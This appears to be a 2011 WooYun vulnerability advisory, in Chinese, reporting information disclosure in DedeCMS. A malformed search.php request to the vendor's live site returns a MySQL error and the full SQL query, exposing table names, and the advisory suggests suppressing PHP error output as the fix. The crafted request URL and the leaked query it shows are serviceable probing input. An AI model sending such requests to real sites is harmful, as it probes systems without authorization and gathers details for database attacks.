当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2011-02802
漏洞标题：
Dedecms敏感信息泄露
相关厂商：
dedecms
漏洞作者：
路人甲
提交时间：
2011-09-10 11:47
修复时间：
2011-09-10 11:51
公开时间：
2011-09-10 11:51
漏洞类型：
敏感信息泄露
危害等级：
低
自评Rank：
2
漏洞状态：
未联系到厂商或者厂商积极忽略
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2011-09-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2011-09-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

晴天小铸 PS:…一襲白衣走來,看似風清雲淡,其實風卷雲殘,非人即鬼…
<p>snowGz之所以很久米上wooyun,因为他天天做单子 0.0<p>

详细说明：

http://www.dedecms.com/plus/search.php?keyword=xxxx&channeltype=-0&orderby=&kwtype=-1&pagesize=10&typeid=0&TotalResult=-336&PageNo=%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3EFuck%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C&plistgo=%C7%E7%CC%EC%D0%A1%D6%FD?

漏洞证明：

http://www.dedecms.com/plus/search.php?keyword=xxxx&channeltype=-0&orderby=&kwtype=-1&pagesize=10&typeid=0&TotalResult=-336&PageNo=%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3EFuck%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C&plistgo=%C7%E7%CC%EC%D0%A1%D6%FD?

Error page: /plus/search.php?keyword=xxxx&channeltype=-0&orderby=&kwtype=-1&pagesize=10&typeid=0&TotalResult=-336&PageNo=%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3EFuck%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C&plistgo=%C7%E7%CC%EC%D0%A1%D6%FD?
Error infos: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-10,10' at line 4
Error sql: Select arc.*,act.typedir,act.typename,act.isdefault,act.defaultname,act.namerule, act.namerule2,act.ispart,act.moresite,act.siteurl,act.sitepath from `dede_archives` arc left join `dede_arctype` act on arc.typeid=act.id where arc.arcrank > -1 And ( CONCAT(arc.title,' ',arc.writer,' ',arc.keywords) like '%xxxx%' ) order by arc.sortrank desc limit -10,10

修复方案：

php错误不回显

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝